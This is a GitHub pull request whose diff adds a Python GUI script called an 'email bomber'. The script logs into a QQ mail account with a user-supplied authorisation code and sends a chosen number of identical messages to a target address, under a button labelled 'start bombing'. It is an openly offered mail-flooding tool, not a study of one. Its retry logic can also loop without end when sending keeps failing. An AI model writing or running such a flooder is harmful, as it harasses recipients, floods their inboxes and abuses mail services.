Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

邮件轰炸机 #1

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
72 changes: 72 additions & 0 deletions 邮件轰炸机.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
#邮件轰炸机,版本1.0.0
#-*- coding:utf-8 -*-
from tkinter import *
import smtplib
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import threading

lock = threading.Lock()
root = Tk()
root.title("邮件轰炸机1.0.0 (被封号别怪我")
la1 = Label(root,text="输入发送人地址",width=50)
la1.pack()
inp1 = Entry(root,width=30)
inp1.pack()
la2 = Label(root,text="输入客户端独立密码")#这里是你邮箱的独立密码,或者叫客户端授权码。
la2.pack()
inp2 = Entry(root,show="*")
inp2.pack()
la3 = Label(root,text="输入收件人地址",width=50)
la3.pack()
inp3 = Entry(root,width=30)
inp3.pack()
la4 = Label(root,text="输入发送次数")
la4.pack()
inp4 = Entry(root)
inp4.pack()
la5 = Label(root,text="运行结果")
la5.pack()
tex = Text(root,height=4,width=50)
tex.pack()


def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))


def send():
from_addr = inp1.get()
password = inp2.get()
to_addr = inp3.get()
number = inp4.get()
smtp_server = "smtp.qq.com"#此处是发件服务器,可以自行修改。
tex.delete(1.0,END)
msg = MIMEText('你是一个上天选中的老司机', 'plain', 'utf-8')
msg['From'] = _format_addr('一个无聊的Python爱好者 <%s>' % from_addr)
msg['To'] = _format_addr('上天选中的你 <%s>' % to_addr)
msg['Subject'] = Header('为了技术献身...', 'utf-8').encode()
i = 1
server = smtplib.SMTP(smtp_server, 25)
server.starttls()
server.login(from_addr, password)
while i<int(number):
try:
server.sendmail(from_addr, [to_addr], msg.as_string())
lock.acquire()
tex.insert(END,"正在发送第%d封邮件\n"%i)
lock.release()
except:
lock.acquire()
tex.insert(END,"第%d封邮件发送失败\n"%i)
lock.release()
i=i-1
i=i+1
server.quit()


but = Button(root,text="开始轰炸",command=send)
but.pack()
mainloop()